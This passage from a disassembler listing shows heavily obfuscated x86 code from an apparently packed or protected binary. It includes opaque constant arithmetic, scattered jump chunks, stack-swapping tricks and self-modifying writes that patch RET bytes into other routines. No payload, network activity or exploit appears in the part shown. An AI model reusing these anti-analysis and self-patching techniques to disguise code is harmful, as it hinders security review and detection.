loc_44F68C:				; CODE XREF: sub_445707+786Fj
		rol	eax, 0Ah
		push	edx
		sub	edx, ebp
		jmp	loc_458CB0
; END OF FUNCTION CHUNK	FOR sub_445707

; =============== S U B	R O U T	I N E =======================================



sub_44F697	proc near		; CODE XREF: dviuq5id:0043D10Fj
					; sub_459D7E-4A72p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043D715 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043F07C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443F65 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444545 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044B764 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0045A48C SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jnb	loc_43D715
		mov	eax, [esp+0]
		jmp	loc_443F65
sub_44F697	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44F6A9	proc near		; CODE XREF: dviuq5id:00445FEAp
					; sub_45169D+6526j
		xchg	ebx, [esp+0]
		pop	ebx
		mov	ds:off_41D044, eax
		lea	eax, sub_45944F
		mov	byte ptr [eax],	0C3h
		jmp	sub_45944F
sub_44F6A9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, 0F2B89A19h
		call	sub_449EB7
		call	sub_44513E

loc_44F6D0:				; CODE XREF: dviuq5id:0044CB34j
		jmp	nullsub_5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_44F6D5:				; CODE XREF: sub_43BA0E+A436j
		jmp	nullsub_448
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
		sbb	ebx, 0FB16F1B3h
		not	esi
		jmp	sub_43E6B4
; ---------------------------------------------------------------------------
		mov	eax, 92A798AFh
		call	sub_453642
		push	ebx
		push	5CFBD44Ah
		pop	ebx
		or	ebx, 0C1B4F5D5h
		add	ebx, 2241DAEDh
		jmp	loc_444FB1
; ---------------------------------------------------------------------------

locret_44F709:				; CODE XREF: dviuq5id:0043EEF2j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FCBC

loc_44F70A:				; CODE XREF: sub_44FCBC+97F9j
		jmp	loc_44403C
; END OF FUNCTION CHUNK	FOR sub_44FCBC
; ---------------------------------------------------------------------------

loc_44F70F:				; CODE XREF: dviuq5id:00452BE8j
		jmp	loc_44D5F6
; ---------------------------------------------------------------------------

loc_44F714:				; CODE XREF: dviuq5id:00439BDDj
		jmp	loc_44517F

; =============== S U B	R O U T	I N E =======================================



sub_44F719	proc near		; CODE XREF: sub_4525D0-14112j
					; dviuq5id:00448D31p

; FUNCTION CHUNK AT 00450E9B SIZE 00000014 BYTES

		xchg	esi, [esp+0]
		pop	esi
		lea	eax, [ebp-14h]

loc_44F720:				; CODE XREF: sub_441CE2+8j
		push	eax
		call	sub_441C54
		mov	ds:dword_44778C, eax
		jmp	loc_450E9B
sub_44F719	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_44F731:				; CODE XREF: sub_43938B+1981j
		mov	byte ptr [ebp-801h], 1
		push	56F2715Eh
		pop	eax
		rol	eax, 13h

loc_44F741:				; CODE XREF: sub_4597EF:loc_448402j
		jmp	loc_448503
; END OF FUNCTION CHUNK	FOR sub_43938B

; =============== S U B	R O U T	I N E =======================================



sub_44F746	proc near		; DATA XREF: sub_453977+1o

; FUNCTION CHUNK AT 0045032A SIZE 00000003 BYTES

		push	18A91AD2h
		pop	ebx
		sub	ebx, 4A58E711h
		add	ebx, 0E1365686h
		sub	ebx, 37D88DEDh
		xor	ebx, 0B8893D95h
		jmp	loc_45032A
sub_44F746	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_44F769:				; CODE XREF: sub_458F2A-1D887j
		js	loc_4571B7
		xchg	edi, ecx

loc_44F771:				; CODE XREF: sub_458F2A:loc_453F8Aj
		push	49763FE2h
		pop	eax
		jmp	loc_43B9D0
; END OF FUNCTION CHUNK	FOR sub_458F2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454465

loc_44F77C:				; CODE XREF: sub_454465+10j
		test	ebx, 100h
		jmp	loc_43D34A
; END OF FUNCTION CHUNK	FOR sub_454465

; =============== S U B	R O U T	I N E =======================================



sub_44F787	proc near		; CODE XREF: sub_448424-62E0p
					; dviuq5id:00446366j

; FUNCTION CHUNK AT 00439FEC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004504F0 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	esi, 0BE58C3A4h
		mov	esi, [esi]
		add	eax, esi
		jmp	loc_4504F0
sub_44F787	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_314. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441645

loc_44F79B:				; CODE XREF: sub_441645+F337j
		push	offset sub_441CE2
		jmp	nullsub_125
; END OF FUNCTION CHUNK	FOR sub_441645
; ---------------------------------------------------------------------------

loc_44F7A5:				; CODE XREF: dviuq5id:loc_455D83j
		xor	ebx, ebp
		jmp	loc_43DF2F
; ---------------------------------------------------------------------------

locret_44F7AC:				; CODE XREF: dviuq5id:0045721Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A3E0

loc_44F7AD:				; CODE XREF: sub_43A3E0+Cj
		jmp	loc_439D32
; END OF FUNCTION CHUNK	FOR sub_43A3E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44F7B2:				; CODE XREF: sub_43CB4C+1EBEj
		jle	loc_43C172

loc_44F7B8:				; CODE XREF: sub_43CB4C:loc_44F478j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_441C24
		jmp	loc_449DDD
; END OF FUNCTION CHUNK	FOR sub_43CB4C

; =============== S U B	R O U T	I N E =======================================



sub_44F7C9	proc near		; CODE XREF: sub_447A8A+2DBp
					; dviuq5id:004545AAj
		xchg	eax, [esp+0]
		pop	eax
		push	edx
		push	eax
		push	offset loc_454713
		jmp	nullsub_108
sub_44F7C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_44F7D9:				; CODE XREF: sub_43938B:loc_44AA4Fj
		shl	eax, 2
		sbb	ebp, 0C291C2B6h
		jmp	loc_44FA5F
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456DB4

loc_44F7E7:				; CODE XREF: sub_456DB4:loc_43B5D7j
		xchg	ecx, [esp+0]
		push	edx
		push	0B3413394h
		pop	edx
		jmp	loc_44E9FC
; END OF FUNCTION CHUNK	FOR sub_456DB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_44F7F6:				; CODE XREF: sub_454094:loc_4402DAj
		sub	eax, 16B19D90h
		add	eax, 9979DCBEh
		call	sub_43E55E
; END OF FUNCTION CHUNK	FOR sub_454094
; START	OF FUNCTION CHUNK FOR sub_4543C5

loc_44F807:				; CODE XREF: sub_4543C5-19B83j
		jmp	loc_43C270
; END OF FUNCTION CHUNK	FOR sub_4543C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449AC6

loc_44F80C:				; CODE XREF: sub_449AC6:loc_451587j
		pop	ecx
		pop	eax
		push	offset loc_443529
		jmp	nullsub_254
; END OF FUNCTION CHUNK	FOR sub_449AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452019

loc_44F818:				; CODE XREF: sub_452019+12j
		sub	edx, 44ED8C0Fh
		and	edx, 0F0CA673Ch
		xor	edx, 421BDFF5h
		add	ecx, edx
		jmp	loc_43B12D
; END OF FUNCTION CHUNK	FOR sub_452019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440BB8

loc_44F831:				; CODE XREF: sub_440BB8:loc_454534j
		mov	eax, 0B9726E5Ah
		push	edx
		push	441C6600h
		pop	edx
		or	edx, 0B46124C7h
		jmp	loc_441298
; END OF FUNCTION CHUNK	FOR sub_440BB8
; ---------------------------------------------------------------------------
		xor	edx, 26253542h
		mov	ebp, ecx
		jmp	sub_43A3E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD72

loc_44F855:				; CODE XREF: sub_43BD72:loc_445050j
		jns	loc_442B3C
		adc	ecx, ebx
		push	edx
		jmp	loc_448CB2
; END OF FUNCTION CHUNK	FOR sub_43BD72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44818A

loc_44F863:				; CODE XREF: sub_44818A:loc_4439C1j
					; dviuq5id:004439DAj
		add	edx, 0F15029Bh
		xor	edx, 8A5AFA2h
		add	edx, 67B329DBh
		add	edx, ebp
		push	ecx
		push	8F25A5EAh
		pop	ecx
		jmp	loc_43B85E
; END OF FUNCTION CHUNK	FOR sub_44818A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ABE0

loc_44F883:				; CODE XREF: sub_44ABE0:loc_43BC0Bj
		test	esi, ecx
		jmp	loc_440B97
; END OF FUNCTION CHUNK	FOR sub_44ABE0

; =============== S U B	R O U T	I N E =======================================



sub_44F88A	proc near		; CODE XREF: dviuq5id:00454E12j
					; sub_442913:loc_458559p
		xchg	edx, [esp+0]
		pop	edx
		cmp	dword ptr [ebp-8], 0
		jz	loc_44600D
		jmp	loc_43ECC8
sub_44F88A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AEAA

loc_44F89D:				; CODE XREF: sub_43AEAA:loc_453B9Fj
		sub	ecx, 0C2A9E38Ch
; END OF FUNCTION CHUNK	FOR sub_43AEAA
; START	OF FUNCTION CHUNK FOR sub_43D53C

loc_44F8A3:				; CODE XREF: sub_43D53C:loc_44EA7Ej
		or	ecx, ds:4000F8h
		push	offset sub_441DED
		jmp	loc_4458B1
; END OF FUNCTION CHUNK	FOR sub_43D53C
; ---------------------------------------------------------------------------

loc_44F8B3:				; DATA XREF: sub_44B876+1o
		jb	loc_446D1D
		mov	eax, [esp]
		push	ebx
		mov	ebx, edx
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_44F8BF:				; CODE XREF: sub_43EB11:loc_451B9Fj
					; dviuq5id:loc_456547j
		xchg	ebx, [esp+0]
		jmp	loc_44CBFE
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443F7F

loc_44F8C7:				; CODE XREF: sub_443F7F-1E7j
		xchg	ecx, [esp+8+var_8]
		mov	esi, ecx
		add	ecx, esi
		jmp	loc_43DFC1
; END OF FUNCTION CHUNK	FOR sub_443F7F
; ---------------------------------------------------------------------------

loc_44F8D3:				; CODE XREF: dviuq5id:loc_43EB68j
		push	eax
		mov	eax, edx
		push	offset byte_445405
		jmp	locret_451AC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44F8E0:				; CODE XREF: sub_4525D0+60AAj
		jno	loc_43E424
		mov	edx, [ebp+0]
		jbe	loc_454D7B
		test	eax, ebp
		jmp	loc_450171
; END OF FUNCTION CHUNK	FOR sub_4525D0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_218. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DD6F

loc_44F8F7:				; CODE XREF: sub_43DD6F+5j
		pop	ebp
		mov	eax, ds:dword_441E7C
		or	eax, eax
		jnz	loc_442A98
		call	sub_456F43
		mov	edx, 0B9726E5Ah
		call	sub_449EB7

loc_44F915:				; CODE XREF: dviuq5id:00452BA2j
		push	eax
		jmp	loc_43EED2
; END OF FUNCTION CHUNK	FOR sub_43DD6F
; ---------------------------------------------------------------------------

loc_44F91B:				; CODE XREF: dviuq5id:00459790j
		jnz	loc_4417B0
		jmp	loc_44D115
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_44F926:				; CODE XREF: sub_44E1C0+289Cj
		rol	ecx, 0Eh
		or	ecx, 0AD832E0Fh
		rol	ecx, 9
		or	ecx, 0EA11D875h
		jnz	loc_44CDC5

loc_44F93E:				; CODE XREF: sub_440F1B+1828Bj
		jmp	loc_4437CD
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452189

loc_44F943:				; CODE XREF: sub_452189:loc_442D1Bj
		jz	loc_43931D
		mov	eax, 1109EDC3h
		and	eax, edi
		jmp	loc_439318
; END OF FUNCTION CHUNK	FOR sub_452189
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C5CC

loc_44F955:				; CODE XREF: sub_4427AE:loc_43B3AEj
					; sub_44181A+171F7j ...
		push	offset sub_440ACE
		jmp	loc_447802
; END OF FUNCTION CHUNK	FOR sub_43C5CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BAB4

loc_44F95F:				; CODE XREF: sub_43BAB4+8354j
		sub	eax, 0D97A0E56h
		xor	eax, 3387E7B3h
		add	eax, 0E55B9168h
		add	eax, ebp
		push	offset sub_43CCB9
		jmp	loc_440400
; END OF FUNCTION CHUNK	FOR sub_43BAB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446465

loc_44F97D:				; CODE XREF: sub_446465-9981j
		mov	eax, 0BEB860A6h
		call	sub_450FF0

loc_44F987:				; CODE XREF: sub_450FF0+13j
		jmp	loc_4400F8
; END OF FUNCTION CHUNK	FOR sub_446465
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_44F98C:				; CODE XREF: sub_4411C6+Cj
		call	sub_43C5CC

loc_44F991:				; CODE XREF: sub_4584CA-4DCAj
		jmp	loc_44C1E4
; END OF FUNCTION CHUNK	FOR sub_4411C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C162

loc_44F996:				; CODE XREF: sub_43C162+713Aj
		jmp	loc_44E5FF
; END OF FUNCTION CHUNK	FOR sub_43C162
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458964

loc_44F99B:				; CODE XREF: sub_458964-19110j
		jmp	sub_44ABE0
; END OF FUNCTION CHUNK	FOR sub_458964
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433BD

loc_44F9A1:				; CODE XREF: sub_4433BD+FC65j
		jmp	loc_4422D0
; END OF FUNCTION CHUNK	FOR sub_4433BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44549E

loc_44F9A6:				; CODE XREF: sub_44549E+3E33j
		jmp	loc_43FB61
; END OF FUNCTION CHUNK	FOR sub_44549E
; ---------------------------------------------------------------------------
		db 0Fh
dword_44F9AC	dd 0			; DATA XREF: dviuq5id:0043C439w
					; dviuq5id:004483EDr
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45753F

loc_44F9B0:				; CODE XREF: sub_45753F+17j
		jmp	loc_44D33F
; END OF FUNCTION CHUNK	FOR sub_45753F
; ---------------------------------------------------------------------------
		db 43h,	2Ah, 0B7h
dword_44F9B8	dd 5F64D4EAh, 32178C99h, 0F006C63h, 0FEB4F883h,	70158BFFh
					; DATA XREF: dviuq5id:00440AE2o
					; dviuq5id:00457F3Fo
		dd 0E900446Bh, 0FFFF82C6h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BB7A

loc_44F9D4:				; CODE XREF: sub_43BB7A:loc_44617Cj
		shl	esi, 0Ah

loc_44F9D7:				; CODE XREF: dviuq5id:00439A80j
					; sub_446596-A409j ...
		jmp	loc_454FDA
; ---------------------------------------------------------------------------

loc_44F9DC:				; CODE XREF: sub_43BB7A+7j
					; sub_446596+Aj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43BB7A
; ---------------------------------------------------------------------------

loc_44F9DF:				; CODE XREF: dviuq5id:00455B18j
		jmp	loc_43E923
; ---------------------------------------------------------------------------

loc_44F9E4:				; CODE XREF: dviuq5id:0044C7DFj
		jmp	sub_44E3BA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A769

loc_44F9E9:				; CODE XREF: sub_43A769:loc_43A773j
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_43A769

; =============== S U B	R O U T	I N E =======================================



sub_44F9EE	proc near		; CODE XREF: dviuq5id:0044B2A9j
					; sub_44F5D6+10p

; FUNCTION CHUNK AT 00446293 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044A540 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00452116 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0045A226 SIZE 0000000C BYTES

		push	ebp
		jmp	loc_452116
sub_44F9EE	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_243. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44F9F5:				; CODE XREF: dviuq5id:0044F40Ej
		jp	loc_43DBA6

; =============== S U B	R O U T	I N E =======================================



sub_44F9FB	proc near		; CODE XREF: sub_45944F:loc_446077p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043948F SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00439F6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043AFF8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BF04 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00455E3F SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00457634 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		pop	edx
		mov	eax, [esp-4+arg_0]
		jmp	loc_439F6B
sub_44F9FB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_457566

loc_44FA08:				; CODE XREF: sub_457566:loc_44621Aj
		add	ecx, edi
		xor	ecx, 3C8A53C5h
		or	eax, 2DCDD86h
		jmp	loc_43C94D
; END OF FUNCTION CHUNK	FOR sub_457566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450377

loc_44FA1B:				; CODE XREF: sub_450377:loc_4425FAj
		jb	loc_457C9A
		mov	eax, [esp+0]
		push	edx
		call	sub_458BD3
; END OF FUNCTION CHUNK	FOR sub_450377
; START	OF FUNCTION CHUNK FOR sub_43BDAE

loc_44FA2A:				; CODE XREF: sub_43BDAE+10j
		jmp	loc_44B001
; END OF FUNCTION CHUNK	FOR sub_43BDAE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF9D

loc_44FA2F:				; CODE XREF: sub_43AF9D+11j
		jmp	loc_449EA6
; END OF FUNCTION CHUNK	FOR sub_43AF9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441881

loc_44FA34:				; CODE XREF: sub_441881-6EB8j
		jmp	loc_446796
; END OF FUNCTION CHUNK	FOR sub_441881
; ---------------------------------------------------------------------------

loc_44FA39:				; CODE XREF: dviuq5id:loc_441328j
		push	edx
		push	eax
		push	0B9D66204h
		pop	eax
		xor	eax, 70C0F934h

loc_44FA47:				; CODE XREF: dviuq5id:00445E94j
		and	eax, 9C946204h
		add	eax, 7830FE16h
		jmp	loc_4565F0
; ---------------------------------------------------------------------------
		test	esi, edx
		jmp	loc_455976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_44FA5F:				; CODE XREF: sub_43938B+16457j
		jb	loc_454BD4
		pop	ebx
		cmp	edx, 0EB60A46Fh
		jmp	loc_43ACE3
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455932

loc_44FA71:				; CODE XREF: sub_455932+13j
		push	248F8EA5h
		call	sub_445A3D
; END OF FUNCTION CHUNK	FOR sub_455932
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_44FA7B:				; CODE XREF: sub_43C4B5+2732j
		jmp	loc_43D42A
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_44FA80:				; CODE XREF: sub_43B3A0:loc_44FEFDj
		jnz	loc_44C947
		jmp	loc_43FEB6
; END OF FUNCTION CHUNK	FOR sub_43B3A0
; ---------------------------------------------------------------------------
		or	edi, edx
		jmp	sub_451B67
; ---------------------------------------------------------------------------
		mov	esi, 187D5208h
		pop	ebp
		xor	eax, ebp
		sbb	esi, 98AADB6Dh
		jmp	loc_4446F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_44FAA5:				; CODE XREF: sub_44EAC4:loc_4416F2j
		mov	esi, eax
		xchg	esi, [esp+4+var_4]
		call	sub_4426C3
		test	eax, eax
		jz	loc_4421A5
		jmp	loc_445DA7
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
		push	0AF6E8440h
		jmp	sub_459224
; ---------------------------------------------------------------------------
		mov	eax, 0D6CB94Ch
		push	edx
		push	7DE81A18h
		pop	edx
		rol	edx, 19h
		cmp	edx, 4FFF97E1h
		jmp	loc_442826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44864B

loc_44FAE0:				; CODE XREF: sub_44864B:loc_457C83j
		jz	loc_454644
		jmp	loc_43CC54
; END OF FUNCTION CHUNK	FOR sub_44864B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_321. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44FAEC:				; CODE XREF: sub_440898+19741j
		jmp	loc_45A547
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A1FB

loc_44FAF1:				; CODE XREF: sub_45A1FB-32C8j
		jmp	loc_452480
; END OF FUNCTION CHUNK	FOR sub_45A1FB
; ---------------------------------------------------------------------------

loc_44FAF6:				; CODE XREF: dviuq5id:0044BCC6j
		jmp	loc_451207
; ---------------------------------------------------------------------------
		db 72h
dword_44FAFC	dd 33275599h		; DATA XREF: sub_443AC1:loc_4445BEr
					; sub_443C86+AA9Cw ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44245C

loc_44FB00:				; CODE XREF: sub_44245C+C1D2j
		jmp	sub_44C07B
; END OF FUNCTION CHUNK	FOR sub_44245C
; ---------------------------------------------------------------------------
		call	nullsub_14
		jmp	ds:dword_41D0EC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		and	dword ptr [edx+edx*8+3487FFFEh], 24h
		mov	edx, esi
		jmp	loc_452E8F

; =============== S U B	R O U T	I N E =======================================



sub_44FB20	proc near		; CODE XREF: sub_44DD22j
					; DATA XREF: sub_4440E9+9C29o
		push	0
		push	ebx
		push	0C03D02EBh
		pop	ebx
		or	ebx, 43E2A3CCh
		sub	ebx, 0C8B26C3h
		or	ebx, 0B4414B22h
		add	ebx, 488A80E2h
		jmp	loc_44309C
sub_44FB20	endp

; ---------------------------------------------------------------------------

loc_44FB46:				; CODE XREF: dviuq5id:0044B7B6j
		ja	loc_44125E
		jmp	loc_451A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F0B6

loc_44FB51:				; CODE XREF: sub_44F0B6+5j
		jmp	ds:off_41D09C
; END OF FUNCTION CHUNK	FOR sub_44F0B6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459490

loc_44FB57:				; CODE XREF: sub_459490-1156Fj
		jmp	loc_442DB5
; END OF FUNCTION CHUNK	FOR sub_459490

; =============== S U B	R O U T	I N E =======================================



sub_44FB5C	proc near		; CODE XREF: dviuq5id:00439472j
					; dviuq5id:0044BEC5j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00439477 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004432A1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004501A0 SIZE 00000005 BYTES

		jo	loc_439477
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		mov	eax, [esp+0]
		push	edx
		call	sub_451E0A
		jmp	loc_4432A1
sub_44FB5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BCF

loc_44FB76:				; CODE XREF: sub_453BCF:loc_43D60Cj
		jnz	loc_45A4A3
		jmp	loc_44B9C2
; END OF FUNCTION CHUNK	FOR sub_453BCF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4560AC

loc_44FB81:				; CODE XREF: sub_4560AC-CEA5j
		jge	loc_44B13A

loc_44FB87:				; CODE XREF: sub_43FED0+E3B9j
		jmp	loc_445A0F
; END OF FUNCTION CHUNK	FOR sub_4560AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_44FB8C:				; CODE XREF: sub_446682+1584j
		jmp	loc_458F97
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
		popf
		adc	esi, ecx
		pushf
		jmp	loc_456C14
; ---------------------------------------------------------------------------
		adc	esi, eax
		sbb	edi, 23BF15D8h
		jmp	sub_44A839
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44508C

loc_44FBA7:				; CODE XREF: sub_44508C:loc_4597CEj
		push	offset sub_44D9D7
		jmp	nullsub_383
; END OF FUNCTION CHUNK	FOR sub_44508C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED10

loc_44FBB1:				; CODE XREF: sub_43ED10:loc_454BBFj
		mov	byte ptr [eax],	0C3h
		jmp	sub_441B17
; END OF FUNCTION CHUNK	FOR sub_43ED10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441B17

loc_44FBB9:				; CODE XREF: sub_441B17+6j
		push	offset loc_447FA5
		jmp	loc_4491D2
; END OF FUNCTION CHUNK	FOR sub_441B17
; ---------------------------------------------------------------------------
		mov	eax, 0EF9F7D01h
		push	edx
		push	4495FBFBh
		pop	edx
		and	edx, 2547DF29h
		add	edx, 9AC18661h
		jmp	loc_44EDBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443CFF

loc_44FBE0:				; CODE XREF: sub_443CFF+Bj
		pop	edi
		call	sub_456751

loc_44FBE6:				; CODE XREF: dviuq5id:loc_446097j
		mov	edx, [esp+0]
		push	esi
		mov	esi, eax
		xchg	esi, [esp+0]
		jmp	loc_4414B8
; END OF FUNCTION CHUNK	FOR sub_443CFF
; ---------------------------------------------------------------------------

loc_44FBF4:				; CODE XREF: dviuq5id:0043BD90j
		and	eax, 73D1AC12h
		sub	eax, 0CAD54F94h
		call	sub_448665
		push	0D74B6DD9h
		jmp	sub_44547C
; ---------------------------------------------------------------------------

locret_44FC0F:				; CODE XREF: dviuq5id:loc_44AC24j
		retn
; ---------------------------------------------------------------------------

loc_44FC10:				; CODE XREF: dviuq5id:0043ABC3j
		jz	loc_451DB6
		push	ecx
		mov	eax, 10h
		push	edi
		push	6A0BF9CDh
		pop	edi
		rol	edi, 19h
		and	edi, 58296AEh
		jmp	loc_448DE5
; ---------------------------------------------------------------------------
		mov	[eax], esi
		push	9DF4C421h
		jmp	sub_43A6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E0BB

loc_44FC3D:				; CODE XREF: sub_43E0BB+Aj
					; sub_4562B4-16120j
		push	offset loc_459944
		jmp	nullsub_112
; END OF FUNCTION CHUNK	FOR sub_43E0BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4584CA

loc_44FC47:				; CODE XREF: sub_4584CA-AE35j
		jl	loc_4505EB

loc_44FC4D:				; CODE XREF: dviuq5id:00447B63j
		jmp	loc_4536FA
; END OF FUNCTION CHUNK	FOR sub_4584CA
; ---------------------------------------------------------------------------
		adc	esi, 7FDD2C0Fh
		rol	ecx, 1Fh
		jmp	loc_4505EB

; =============== S U B	R O U T	I N E =======================================



sub_44FC60	proc near		; CODE XREF: dviuq5id:0044410Fp
					; dviuq5id:0044B5F9j
		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, sub_441903
		mov	byte ptr [eax],	0C3h
		jmp	loc_445D42
sub_44FC60	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44FC72	proc near		; CODE XREF: sub_41A40D+41p
					; sub_41A40D+44p ...

; FUNCTION CHUNK AT 00453EFA SIZE 00000006 BYTES

		call	sub_453F0A
		jmp	loc_453EFA
sub_44FC72	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E08B

loc_44FC7C:				; CODE XREF: sub_43E08B+3524j
		and	esi, 5B2A455h
		add	esi, 0AA62CC74h
		sub	eax, esi
		xchg	edi, [esp-4+arg_0]
		mov	esi, edi
		pop	edi
